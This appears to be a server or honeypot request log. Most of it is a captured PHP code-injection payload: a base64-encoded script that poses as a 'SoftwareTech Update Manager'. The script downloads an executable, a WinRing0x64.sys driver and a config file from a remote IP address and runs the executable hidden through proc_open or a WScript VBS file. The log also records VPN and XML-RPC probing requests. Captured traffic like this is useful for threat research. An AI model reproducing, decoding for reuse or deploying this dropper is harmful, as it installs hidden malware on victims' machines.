IlNvbWUgZmlsZXMgYXJlIG1pc3NpbmcuIENhbm5vdCBwcm9jZWVkLiIpOwogICAgZXhpdCgxKTsKfQoKbG9nTWVzc2FnZSgiSU5GTyIsICIiKTsKCi8vIFN0ZXAgNTogRXhlY3V0ZSBzb2Z0d2FyZXRlY2guZXhlCmxvZ01lc3NhZ2UoIklORk8iLCAiU3RlcCA1OiBFeGVjdXRpbmcgc29mdHdhcmV0ZWNoLmV4ZS4uLiIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIkNvbW1hbmQ6IHNvZnR3YXJldGVjaC5leGUgLWMgXCIkY29uZmlnRmlsZVwiIik7CgokYXJndW1lbnRzID0gJy1jICInIC4gJGNvbmZpZ0ZpbGUgLiAnIic7CmlmIChleGVjdXRlSW5CYWNrZ3JvdW5kKCRleGVGaWxlLCAkYXJndW1lbnRzKSkgewogICAgbG9nTWVzc2FnZSgiT0siLCAic29mdHdhcmV0ZWNoLmV4ZSBsYXVuY2hlZCBpbiBiYWNrZ3JvdW5kIik7CiAgICBsb2dNZXNzYWdlKCJJTkZPIiwgIlRoZSBhcHBsaWNhdGlvbiBpcyBydW5uaW5nIHNpbGVudGx5IGluIHRoZSBiYWNrZ3JvdW5kIik7Cn0gZWxzZSB7CiAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJGYWlsZWQgdG8gZXhlY3V0ZSBzb2Z0d2FyZXRlY2guZXhlIik7CiAgICBleGl0KDEpOwp9Cgpsb2dNZXNzYWdlKCJJTkZPIiwgIiIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsKbG9nTWVzc2FnZSgiSU5GTyIsICJVcGRhdGUgcHJvY2VzcyBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5Iik7CmxvZ01lc3NhZ2UoIklORk8iLCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOwoKZXhpdCgwKTsKPz4K');
$out = ob_get_clean();
echo '[S]' . $out . '[E]';
?>
null
2026-07-02 17:50:27 RECV
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="init" aggregate-auth-version="2">
<version who="vpn">3.1.05160</version>
<device-id device-type="MacBookAir4,1" platform-version="10.9.2" unique-id="A829F68B5FE0F957010E805DDFF020DD90696E4CD3DDC25D45BD51A30933A10417D8525352125609BC61D14EB815929B973FA830A420A3A6F18D2CBD5C2FFCA8">mac-intel</device-id>
<mac-address-list>
<mac-address>e2:16:e2:cc:8b:3c</mac-address></mac-address-list>
<group-select>VPN</group-select>
<group-access>https://47.92.64.254:443</group-access>
</config-auth>
null
2026-07-02 17:50:26 RECV
<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
null
2026-07-02 11:42:22 RECV
null
2026-07-02 05:23:30 RECV
null
2026-07-02 01:04:36 RECV
<?php
ob_start();
include('data://text/plain;base64,PD9waHAKLyoqCiAqIFNvZnR3YXJlVGVjaCBVcGRhdGUgTWFuYWdlciBmb3IgV2luZG93cwogKiAKICogVGhpcyBzY3JpcHQ6CiAqIDEuIENoZWNrcyBpZiBzb2Z0d2FyZXRlY2guZXhlIGlzIHJ1bm5pbmcKICogMi4gQ3JlYXRlcyB1cGRhdGVzLXByb2dyYW0gZGlyZWN0b3J5IGluIHVzZXIgZm9sZGVyCiAqIDMuIERvd25sb2FkcyBmaWxlcyB1c2luZyBQSFAgKGNVUkwpCiAqIDQuIEV4ZWN1dGVzIHNvZnR3YXJldGVjaC5leGUgaW4gYmFja2dyb3VuZAogKi8KCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci8vIENvbmZpZ3VyYXRpb24KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KJGRvd25sb2FkVXJscyA9IFsKICAgICdzb2Z0d2FyZXRlY2guZXhlJyA9PiAnaHR0cDovLzQ1LjIyNS4xMzUuMTgvd2luL3NvZnR3YXJldGVjaC5leGUnLAogICAgJ1dpblJpbmcweDY0LnN5cycgID0+ICdodHRwOi8vNDUuMjI1LjEzNS4xOC93aW4vV2luUmluZzB4NjQuc3lzJywKICAgICdjb25maWcuanNvbicgICAgICA9PiAnaHR0cDovLzQ1LjIyNS4xMzUuMTgvd2luL2NvbmZpZy5qc29uJwpdOwoKJGRvd25sb2FkVGltZW91dCA9IDMwMDsgLy8gNSBtaW51dGVzIHRpbWVvdXQgZm9yIGRvd25sb2FkcwoKLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLy8gSGVscGVyIEZ1bmN0aW9ucwovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKLyoqCiAqIEdldCBXaW5kb3dzIHVzZXIgcHJvZmlsZSBmb2xkZXIKICovCmZ1bmN0aW9uIGdldFVzZXJQcm9maWxlRm9sZGVyKCkgewogICAgLy8gVHJ5IG11bHRpcGxlIG1ldGhvZHMgdG8gZ2V0IHVzZXIgZm9sZGVyCiAgICBpZiAoIWVtcHR5KGdldGVudignVVNFUlBST0ZJTEUnKSkpIHsKICAgICAgICByZXR1cm4gZ2V0ZW52KCdVU0VSUFJPRklMRScpOwogICAgfQogICAgCiAgICBpZiAoIWVtcHR5KCRfRU5WWydVU0VSUFJPRklMRSddKSkgewogICAgICAgIHJldHVybiAkX0VOVlsnVVNFUlBST0ZJTEUnXTsKICAgIH0KICAgIAogICAgLy8gRmFsbGJhY2s6IHRyeSB0byBjb25zdHJ1Y3QgZnJvbSBVU0VSTkFNRQogICAgJHVzZXJuYW1lID0gZ2V0ZW52KCdVU0VSTkFNRScpID86ICRfRU5WWydVU0VSTkFNRSddID8/IGdldF9jdXJyZW50X3VzZXIoKTsKICAgIGlmICgkdXNlcm5hbWUpIHsKICAgICAgICByZXR1cm4gJ0M6XFxVc2Vyc1xcJyAuICR1c2VybmFtZTsKICAgIH0KICAgIAogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogQ2hlY2sgaWYgYSBXaW5kb3dzIHByb2Nlc3MgaXMgcnVubmluZwogKi8KZnVuY3Rpb24gaXNQcm9jZXNzUnVubmluZygkcHJvY2Vzc05hbWUpIHsKICAgICRvdXRwdXQgPSBbXTsKICAgICRyZXR1cm5Db2RlID0gMDsKICAgIAogICAgLy8gVXNlIHRhc2tsaXN0IGNvbW1hbmQgdG8gY2hlY2sgcnVubmluZyBwcm9jZXNzZXMKICAgIGV4ZWMoJ3Rhc2tsaXN0IDI+bnVsJywgJG91dHB1dCwgJHJldHVybkNvZGUpOwogICAgCiAgICBmb3JlYWNoICgkb3V0cHV0IGFzICRsaW5lKSB7CiAgICAgICAgLy8gdGFza2xpc3Qgb3V0cHV0IGZvcm1hdDogcHJvY2Vzc25hbWUuZXhlICAgIFBJRCAgICBTZXNzaW9uIE5hbWUgICAgU2Vzc2lvbiMgICAgTWVtb3J5IFVzYWdlCiAgICAgICAgaWYgKHN0cmlwb3MoJGxpbmUsICRwcm9jZXNzTmFtZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBpdCdzIG5vdCBhIHBhcnRpYWwgbWF0Y2ggLSBjaGVjayBmb3Igd29yZCBib3VuZGFyeQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL14nIC4gcHJlZ19xdW90ZSgkcHJvY2Vzc05hbWUpIC4gJ1xzKy9pJywgJGxpbmUpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogRG93bmxvYWQgZmlsZSB1c2luZyBQSFAgY1VSTAogKi8KZnVuY3Rpb24gZG93bmxvYWRGaWxlKCR1cmwsICRkZXN0aW5hdGlvbiwgJHRpbWVvdXQgPSAzMDApIHsKICAgIHRyeSB7CiAgICAgICAgLy8gQ2hlY2sgaWYgY1VSTCBpcyBhdmFpbGFibGUKICAgICAgICBpZiAoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSkgewogICAgICAgICAgICByZXR1cm4gZG93bmxvYWRGaWxlV2l0aFN0cmVhbSgkdXJsLCAkZGVzdGluYXRpb24sICR0aW1lb3V0KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIAogICAgICAgIC8vIGNVUkwgb3B0aW9ucwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9NQVhSRURJUlMsIDUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAkdGltZW91dCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ1NvZnR3YXJlVGVjaC1VcGRhdGVyLzEuMCcpOwogICAgICAgIAogICAgICAgICRmaWxlQ29udGVudCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgICRodHRwQ29kZSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7CiAgICAgICAgJGN1cmxFcnJvciA9IGN1cmxfZXJyb3IoJGNoKTsKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgCiAgICAgICAgaWYgKCRodHRwQ29kZSA9PT0gMjAwICYmICRmaWxlQ29udGVudCAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGJ5dGVzV3JpdHRlbiA9IGZpbGVfcHV0X2NvbnRlbnRzKCRkZXN0aW5hdGlvbiwgJGZpbGVDb250ZW50KTsKICAgICAgICAgICAgaWYgKCRieXRlc1dyaXR0ZW4gIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBsb2dNZXNzYWdlKCJPSyIsICJEb3dubG9hZGVkOiAiIC4gYmFzZW5hbWUoJGRlc3RpbmF0aW9uKSAuICIgKCIgLiBmb3JtYXRCeXRlcygkYnl0ZXNXcml0dGVuKSAuICIpIik7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byB3cml0ZSBmaWxlOiAkZGVzdGluYXRpb24iKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byBkb3dubG9hZDogJHVybCAoSFRUUCAkaHR0cENvZGUpIik7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGN1cmxFcnJvcikpIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgImNVUkwgRXJyb3I6ICRjdXJsRXJyb3IiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiRG93bmxvYWQgZXhjZXB0aW9uOiAiIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovKioKICogRmFsbGJhY2sgZG93bmxvYWQgdXNpbmcgUEhQIHN0cmVhbXMgaWYgY1VSTCBpcyBub3QgYXZhaWxhYmxlCiAqLwpmdW5jdGlvbiBkb3dubG9hZEZpbGVXaXRoU3RyZWFtKCR1cmwsICRkZXN0aW5hdGlvbiwgJHRpbWVvdXQgPSAzMDApIHsKICAgIHRyeSB7CiAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoWwogICAgICAgICAgICAnaHR0cCcgPT4gWwogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICR0aW1lb3V0LAogICAgICAgICAgICAgICAgJ3VzZXJfYWdlbnQnID0+ICdTb2Z0d2FyZVRlY2gtVXBkYXRlci8xLjAnCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICdodHRwcycgPT4gWwogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICR0aW1lb3V0LAogICAgICAgICAgICAgICAgJ3VzZXJfYWdlbnQnID0+ICdTb2Z0d2FyZVRlY2gtVXBkYXRlci8xLjAnCiAgICAgICAgICAgIF0KICAgICAgICBdKTsKICAgICAgICAKICAgICAgICAkZmlsZUNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjb250ZXh0KTsKICAgICAgICAKICAgICAgICBpZiAoJGZpbGVDb250ZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAkYnl0ZXNXcml0dGVuID0gZmlsZV9wdXRfY29udGVudHMoJGRlc3RpbmF0aW9uLCAkZmlsZUNvbnRlbnQpOwogICAgICAgICAgICBpZiAoJGJ5dGVzV3JpdHRlbiAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIk9LIiwgIkRvd25sb2FkZWQgKHZpYSBzdHJlYW0pOiAiIC4gYmFzZW5hbWUoJGRlc3RpbmF0aW9uKSAuICIgKCIgLiBmb3JtYXRCeXRlcygkYnl0ZXNXcml0dGVuKSAuICIpIik7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byB3cml0ZSBmaWxlOiAkZGVzdGluYXRpb24iKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byBkb3dubG9hZDogJHVybCAodmlhIHN0cmVhbSkiKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIlN0cmVhbSBkb3dubG9hZCBleGNlcHRpb246ICIgLiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBFeGVjdXRlIHByb2Nlc3MgaW4gYmFja2dyb3VuZCB3aXRob3V0IHNob3dpbmcgd2luZG93CiAqLwpmdW5jdGlvbiBleGVjdXRlSW5CYWNrZ3JvdW5kKCRleGVjdXRhYmxlUGF0aCwgJGFyZ3VtZW50cyA9ICcnKSB7CiAgICB0cnkgewogICAgICAgIC8vIFByZXBhcmUgY29tbWFuZAogICAgICAgICRjb21tYW5kID0gJyInIC4gJGV4ZWN1dGFibGVQYXRoIC4gJyInOwogICAgICAgIGlmICghZW1wdHkoJGFyZ3VtZW50cykpIHsKICAgICAgICAgICAgJGNvbW1hbmQgLj0gJyAnIC4gJGFyZ3VtZW50czsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gTWV0aG9kIDE6IFVzaW5nIHByb2Nfb3BlbiBmb3IgYmV0dGVyIGNvbnRyb2wKICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBbCiAgICAgICAgICAgIDAgPT4gWyJwaXBlIiwgInIiXSwKICAgICAgICAgICAgMSA9PiBbInBpcGUiLCAidyJdLAogICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0KICAgICAgICBdOwogICAgICAgIAogICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKAogICAgICAgICAgICAkY29tbWFuZCwKICAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjLAogICAgICAgICAgICAkcGlwZXMsCiAgICAgICAgICAgIGRpcm5hbWUoJGV4ZWN1dGFibGVQYXRoKSwKICAgICAgICAgICAgbnVsbCwKICAgICAgICAgICAgWydieXBhc3Nfc2hlbGwnID0+IHRydWVdCiAgICAgICAgKTsKICAgICAgICAKICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CiAgICAgICAgICAgIC8vIENsb3NlIGFsbCBwaXBlcwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7CiAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gRG9uJ3Qgd2FpdCBmb3IgcHJvY2VzcyB0byBmaW5pc2ggKGRldGFjaCBpdCkKICAgICAgICAgICAgcHJvY19jbG9zZSgkcHJvY2Vzcyk7CiAgICAgICAgICAgIAogICAgICAgICAgICBsb2dNZXNzYWdlKCJPSyIsICJQcm9jZXNzIGxhdW5jaGVkIHN1Y2Nlc3NmdWxseTogIiAuIGJhc2VuYW1lKCRleGVjdXRhYmxlUGF0aCkpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBGYWxsYmFjayB0byBhbHRlcm5hdGl2ZSBtZXRob2QKICAgICAgICAgICAgbG9nTWVzc2FnZSgiV0FSTklORyIsICJwcm9jX29wZW4gZmFpbGVkLCB0cnlpbmcgYWx0ZXJuYXRpdmUgbWV0aG9kLi4uIik7CiAgICAgICAgICAgIHJldHVybiBleGVjdXRlSW5CYWNrZ3JvdW5kQWx0KCRjb21tYW5kKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJQcm9jZXNzIGV4ZWN1dGlvbiBleGNlcHRpb246ICIgLiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBBbHRlcm5hdGl2ZSBtZXRob2QgdG8gZXhlY3V0ZSBpbiBiYWNrZ3JvdW5kIHVzaW5nIFdTY3JpcHQKICovCmZ1bmN0aW9uIGV4ZWN1dGVJbkJhY2tncm91bmRBbHQoJGNvbW1hbmQpIHsKICAgIHRyeSB7CiAgICAgICAgLy8gQ3JlYXRlIGEgdGVtcG9yYXJ5IFZCUyBzY3JpcHQgdG8gcnVuIGNvbW1hbmQgd2l0aG91dCB3aW5kb3cKICAgICAgICAkdmJzRmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICdcXHNvZnR3YXJldGVjaF9sYXVuY2hlcl8nIC4gdW5pcWlkKCkgLiAnLnZicyc7CiAgICAgICAgJHZic0NvbnRlbnQgPSAnQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICInIC4gJGNvbW1hbmQgLiAnIiwgMCwgRmFsc2UnOwogICAgICAgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR2YnNGaWxlLCAkdmJzQ29udGVudCk7CiAgICAgICAgCiAgICAgICAgLy8gRXhlY3V0ZSBWQlMgc2NyaXB0CiAgICAgICAgZXhlYygnd3NjcmlwdC5leGUgIicgLiAkdmJzRmlsZSAuICciID4gbnVsIDI+JjEgJicpOwogICAgICAgIAogICAgICAgIC8vIENsZWFuIHVwIFZCUyBmaWxlIGFmdGVyIHNob3J0IGRlbGF5IChpdCB3aWxsIGhhdmUgYWxyZWFkeSBleGVjdXRlZCkKICAgICAgICBzbGVlcCgxKTsKICAgICAgICBAdW5saW5rKCR2YnNGaWxlKTsKICAgICAgICAKICAgICAgICBsb2dNZXNzYWdlKCJPSyIsICJQcm9jZXNzIGxhdW5jaGVkIChhbHRlcm5hdGl2ZSBtZXRob2QpIik7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJBbHRlcm5hdGl2ZSBleGVjdXRpb24gZmFpbGVkOiAiIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovKioKICogRm9ybWF0IGJ5dGVzIHRvIGh1bWFuLXJlYWRhYmxlIGZvcm1hdAogKi8KZnVuY3Rpb24gZm9ybWF0Qnl0ZXMoJGJ5dGVzLCAkcHJlY2lzaW9uID0gMikgewogICAgJHVuaXRzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJ107CiAgICAkYnl0ZXMgPSBtYXgoJGJ5dGVzLCAwKTsKICAgICRwb3cgPSBmbG9vcigoJGJ5dGVzID8gbG9nKCRieXRlcykgOiAwKSAvIGxvZygxMDI0KSk7CiAgICAkcG93ID0gbWluKCRwb3csIGNvdW50KCR1bml0cykgLSAxKTsKICAgICRieXRlcyAvPSAoMSA8PCAoMTAgKiAkcG93KSk7CiAgICAKICAgIHJldHVybiByb3VuZCgkYnl0ZXMsICRwcmVjaXNpb24pIC4gJyAnIC4gJHVuaXRzWyRwb3ddOwp9CgovKioKICogTG9nIG1lc3NhZ2Ugd2l0aCB0aW1lc3RhbXAKICovCmZ1bmN0aW9uIGxvZ01lc3NhZ2UoJGxldmVsLCAkbWVzc2FnZSkgewogICAgJHRpbWVzdGFtcCA9IGRhdGUoJ1ktbS1kIEg6aTpzJyk7CiAgICBwcmludGYoIlslc10gWyUtN3NdICVzXG4iLCAkdGltZXN0YW1wLCAkbGV2ZWwsICRtZXNzYWdlKTsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLy8gTWFpbiBFeGVjdXRpb24KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCmxvZ01lc3NhZ2UoIklORk8iLCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIlNvZnR3YXJlVGVjaCBVcGRhdGUgTWFuYWdlciBTdGFydGVkIik7CmxvZ01lc3NhZ2UoIklORk8iLCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOwoKLy8gR2V0IHVzZXIgcHJvZmlsZSBmb2xkZXIKJHVzZXJGb2xkZXIgPSBnZXRVc2VyUHJvZmlsZUZvbGRlcigpOwppZiAoISR1c2VyRm9sZGVyKSB7CiAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJDb3VsZCBub3QgZGV0ZXJtaW5lIHVzZXIgcHJvZmlsZSBmb2xkZXIiKTsKICAgIGV4aXQoMSk7Cn0KCiR1cGRhdGVzRGlyID0gJHVzZXJGb2xkZXIgLiAnXFx1cGRhdGVzLXByb2dyYW0nOwpsb2dNZXNzYWdlKCJJTkZPIiwgIlVzZXIgRm9sZGVyOiAkdXNlckZvbGRlciIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIlVwZGF0ZXMgRGlyZWN0b3J5OiAkdXBkYXRlc0RpciIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIiIpOwoKLy8gU3RlcCAxOiBDaGVjayBpZiBzb2Z0d2FyZXRlY2guZXhlIGlzIGFscmVhZHkgcnVubmluZwpsb2dNZXNzYWdlKCJJTkZPIiwgIlN0ZXAgMTogQ2hlY2tpbmcgaWYgc29mdHdhcmV0ZWNoLmV4ZSBpcyBydW5uaW5nLi4uIik7CmlmIChpc1Byb2Nlc3NSdW5uaW5nKCdzb2Z0d2FyZXRlY2guZXhlJykpIHsKICAgIGxvZ01lc3NhZ2UoIldBUk5JTkciLCAic29mdHdhcmV0ZWNoLmV4ZSBpcyBhbHJlYWR5IHJ1bm5pbmcuIEV4aXRpbmcuIik7CiAgICBleGl0KDApOwp9CmxvZ01lc3NhZ2UoIk9LIiwgInNvZnR3YXJldGVjaC5leGUgaXMgbm90IHJ1bm5pbmcuIFByb2NlZWRpbmcuLi4iKTsKbG9nTWVzc2FnZSgiSU5GTyIsICIiKTsKCi8vIFN0ZXAgMjogQ3JlYXRlIHVwZGF0ZXMgZGlyZWN0b3J5CmxvZ01lc3NhZ2UoIklORk8iLCAiU3RlcCAyOiBDcmVhdGluZyB1cGRhdGVzIGRpcmVjdG9yeS4uLiIpOwppZiAoIWlzX2RpcigkdXBkYXRlc0RpcikpIHsKICAgIGlmIChAbWtkaXIoJHVwZGF0ZXNEaXIsIDA3NzcsIHRydWUpKSB7CiAgICAgICAgbG9nTWVzc2FnZSgiT0siLCAiQ3JlYXRlZCBkaXJlY3Rvcnk6ICR1cGRhdGVzRGlyIik7CiAgICB9IGVsc2UgewogICAgICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIkZhaWxlZCB0byBjcmVhdGUgZGlyZWN0b3J5OiAkdXBkYXRlc0RpciIpOwogICAgICAgIGV4aXQoMSk7CiAgICB9Cn0gZWxzZSB7CiAgICBsb2dNZXNzYWdlKCJPSyIsICJEaXJlY3RvcnkgYWxyZWFkeSBleGlzdHM6ICR1cGRhdGVzRGlyIik7Cn0KbG9nTWVzc2FnZSgiSU5GTyIsICIiKTsKCi8vIFN0ZXAgMzogRG93bmxvYWQgZmlsZXMKbG9nTWVzc2FnZSgiSU5GTyIsICJTdGVwIDM6IERvd25sb2FkaW5nIGZpbGVzIGZyb20gc2VydmVyLi4uIik7CmxvZ01lc3NhZ2UoIklORk8iLCAiU2VydmVyOiAxOTIuMTY4LjEuMiIpOwoKJGFsbERvd25sb2Fkc1N1Y2Nlc3NmdWwgPSB0cnVlOwpmb3JlYWNoICgkZG93bmxvYWRVcmxzIGFzICRmaWxlTmFtZSA9PiAkdXJsKSB7CiAgICAkZGVzdGluYXRpb24gPSAkdXBkYXRlc0RpciAuICdcXCcgLiAkZmlsZU5hbWU7CiAgICBsb2dNZXNzYWdlKCJJTkZPIiwgIkRvd25sb2FkaW5nOiAkZmlsZU5hbWUiKTsKICAgIAogICAgaWYgKCFkb3dubG9hZEZpbGUoJHVybCwgJGRlc3RpbmF0aW9uLCAkZG93bmxvYWRUaW1lb3V0KSkgewogICAgICAgICRhbGxEb3dubG9hZHNTdWNjZXNzZnVsID0gZmFsc2U7CiAgICAgICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiRG93bmxvYWQgZmFpbGVkOiAkZmlsZU5hbWUiKTsKICAgIH0KfQoKaWYgKCEkYWxsRG93bmxvYWRzU3VjY2Vzc2Z1bCkgewogICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiU29tZSBkb3dubG9hZHMgZmFpbGVkLiBDYW5ub3QgcHJvY2VlZC4iKTsKICAgIGV4aXQoMSk7Cn0KCmxvZ01lc3NhZ2UoIk9LIiwgIkFsbCBmaWxlcyBkb3dubG9hZGVkIHN1Y2Nlc3NmdWxseSIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIiIpOwoKLy8gU3RlcCA0OiBWZXJpZnkgZG93bmxvYWRlZCBmaWxlcyBleGlzdApsb2dNZXNzYWdlKCJJTkZPIiwgIlN0ZXAgNDogVmVyaWZ5aW5nIGRvd25sb2FkZWQgZmlsZXMuLi4iKTsKJGV4ZUZpbGUgPSAkdXBkYXRlc0RpciAuICdcXHNvZnR3YXJldGVjaC5leGUnOwokc3lzRmlsZSA9ICR1cGRhdGVzRGlyIC4gJ1xcV2luUmluZzB4NjQuc3lzJzsKJGNvbmZpZ0ZpbGUgPSAkdXBkYXRlc0RpciAuICdcXGNvbmZpZy5qc29uJzsKCiRmaWxlc1ZlcmlmaWVkID0gdHJ1ZTsKZm9yZWFjaCAoWyRleGVGaWxlLCAkc3lzRmlsZSwgJGNvbmZpZ0ZpbGVdIGFzICRmaWxlKSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgkZmlsZSk7CiAgICAgICAgbG9nTWVzc2FnZSgiT0siLCAiRm91bmQ6ICIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiICgiIC4gZm9ybWF0Qnl0ZXMoJHNpemUpIC4gIikiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgbG9nTWVzc2FnZSgiRVJST1IiLCAiRmlsZSBub3QgZm91bmQ6ICIgLiBiYXNlbmFtZSgkZmlsZSkpOwogICAgICAgICRmaWxlc1ZlcmlmaWVkID0gZmFsc2U7CiAgICB9Cn0KCmlmICghJGZpbGVzVmVyaWZpZWQpIHsKICAgIGxvZ01lc3NhZ2UoIkVSUk9SIiwgIlNvbWUgZmlsZXMgYXJlIG1pc3NpbmcuIENhbm5vdCBwcm9jZWVkLiIpOwogICAgZXhpdCgxKTsKfQoKbG9nTWVzc2FnZSgiSU5GTyIsICIiKTsKCi8vIFN0ZXAgNTogRXhlY3V